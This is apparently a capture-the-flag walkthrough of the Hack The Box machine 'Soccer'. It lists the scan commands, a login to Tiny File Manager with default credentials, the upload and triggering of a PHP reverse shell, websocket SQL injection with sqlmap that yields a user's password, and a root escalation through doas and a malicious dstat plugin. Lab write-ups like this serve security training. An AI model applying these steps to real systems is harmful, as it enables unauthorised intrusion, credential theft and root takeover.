Information Gathering
IP Address | Opening Ports |
---|---|
10.10.11.194 | TCP:22,80,9091 |
$ ip='10.10.11.194'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Mon, 10 Feb 2025 09:01:42 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 10 Feb 2025 09:01:43 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
Tiny 2.4.3
# echo '10.10.11.194 soccer.htb'>>/etc/hosts
![](https://i-blog.csdnimg.cn/img_convert/03012528a9e899acd1363e902833632e.jpeg)
$ feroxbuster -u 'http://soccer.htb/'
![](https://i-blog.csdnimg.cn/img_convert/27e2c0b32072daaaa60d44ed8c00fdcd.jpeg)
![](https://i-blog.csdnimg.cn/img_convert/ece141422e04ecc3602ee23e8f318bdb.jpeg)
![](https://i-blog.csdnimg.cn/img_convert/769d3cfdd21b76bb10a62f02fed87351.jpeg)
https://github.com/prasathmani/tinyfilemanager
![](https://i-blog.csdnimg.cn/img_convert/55ee64eae6c07cb7d102e6c565741d5c.jpeg)
[admin/admin@123] OR [user/12345]
![](https://i-blog.csdnimg.cn/img_convert/daf3b98eda410d0e9f5301aba53e98cc.jpeg)
http://soccer.htb/tiny/tinyfilemanager.php?p=tiny%2Fuploads\&upload
![](https://i-blog.csdnimg.cn/img_convert/6e0ecad55c42992d85dc9891de18ecc5.jpeg)
$ curl http://soccer.htb/tiny/uploads/reverse.php
![](https://i-blog.csdnimg.cn/img_convert/8914f5e006716cfad3f1e6175c14c7bf.jpeg)
Websocket SQLI
www-data@soccer:/$ cat /etc/hosts
![](https://i-blog.csdnimg.cn/img_convert/8ee726aa4d73fd495053a0a21f18b30f.jpeg)
# echo '10.10.11.194 soc-player.soccer.htb'>>/etc/hosts
![](https://i-blog.csdnimg.cn/img_convert/f215a3ca831acb77603f11883539b472.jpeg)
![](https://i-blog.csdnimg.cn/img_convert/22699ae7ec2497fcd1732a3d06adf5fe.jpeg)
![](https://i-blog.csdnimg.cn/img_convert/d8fd927c774350344d63c40a31c40af0.jpeg)
$ websocat ws://soc-player.soccer.htb:9091
![](https://i-blog.csdnimg.cn/img_convert/cafb8a42dbd0b75060629e776d483bde.jpeg)
$ /home/maptnh/sqlmap-dev/sqlmap.py -u 'ws://soc-player.soccer.htb:9091' --data '{"id":"*"}' --batch --level 5 --risk 3 --threads 10 --dbs
username:player
password:PlayerOftheMatch2022
![](https://i-blog.csdnimg.cn/img_convert/fe88aca9d8b3d818274d7a4a8dcca5c5.jpeg)
User.txt
f07036b231022261fd0734ac994534dd
Privilege Escalation:Doas && dstat
![](https://i-blog.csdnimg.cn/img_convert/e9a25ed540c076844ab9e99c86c0a468.jpeg)
player@soccer:/tmp$ cat /usr/local/etc/doas.conf
![](https://i-blog.csdnimg.cn/img_convert/8bb50b63e4e011706f467d492aeef6ed.jpeg)
![](https://i-blog.csdnimg.cn/img_convert/79392600e24646bd3a57ebda1b6b543c.jpeg)
player@soccer:/tmp$ echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_bash.py
player@soccer:/tmp$ doas /usr/bin/dstat --lis
![](https://i-blog.csdnimg.cn/img_convert/1a807d9805c7e18ec788a8e68aeea740.jpeg)
player@soccer:/tmp$ doas /usr/bin/dstat --bash
![](https://i-blog.csdnimg.cn/img_convert/57fdf51d320bfb7c8b3bfa0961fe588d.jpeg)
Root.txt
ed0c81afb79ac34cabd884fdc3149dbd